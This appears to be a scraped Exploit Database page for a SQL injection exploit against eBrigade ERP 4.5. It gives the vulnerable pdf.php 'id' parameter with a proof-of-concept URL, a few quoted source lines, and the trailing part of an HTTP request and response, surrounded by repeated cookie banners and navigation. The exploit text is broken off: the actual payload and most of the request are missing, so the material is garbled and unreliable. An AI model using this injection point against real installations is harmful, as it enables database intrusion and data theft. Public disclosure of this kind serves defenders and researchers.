



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



Cookiebot
by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >

OK

Do not sell or share my personal information



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS

eBrigade ERP 4.5 - SQL Injection

EDB-ID:

46117

CVE:

N/A

EDB Verified: ✘

Author:

[IHSAN SENCAN](#)

Type:

[WEBAPPS](#)

Exploit: /



Cookiebot
by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS

```
# Exploit Title: eBrigade ERP 4.5 - SQL Injection
# Dork: N/A
# Date: 2019-01-10
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://ebrigade.net/
# Software Link:
https://netcologne.dl.sourceforge.net/project/ebrigade/ebrigade/eBrigade%204.
# Version: 4.5
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinux_x64
# CVE: N/A

# POC:
# 1)
# http://localhost/[PATH]/pdf.php?pdf=DPS&id=[SQL]
#

#[PATH]/pdf.php

#30 $id=$_SESSION['id'];
#31
#32 $badges = ""; $devis = "";
#33
```

Cookiebot
by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >

```
Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=qsqa65v2oalshif28tmsd7c261
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Date: Thu, 10 Jan 2019 19:14:28 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Content-Length: 875
Keep-Alive: timeout=5, max=60
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
```

Tags: [SQL Injection \(SQLi\)](#)Advisory/Source: [Link](#)



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)

[PRIVACY](#)

[ABOUT US](#)

[FAQ](#)

[COOKIES](#)



[OffSec Services Limited](#) 2026. All rights reserved.



Cookiebot
by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >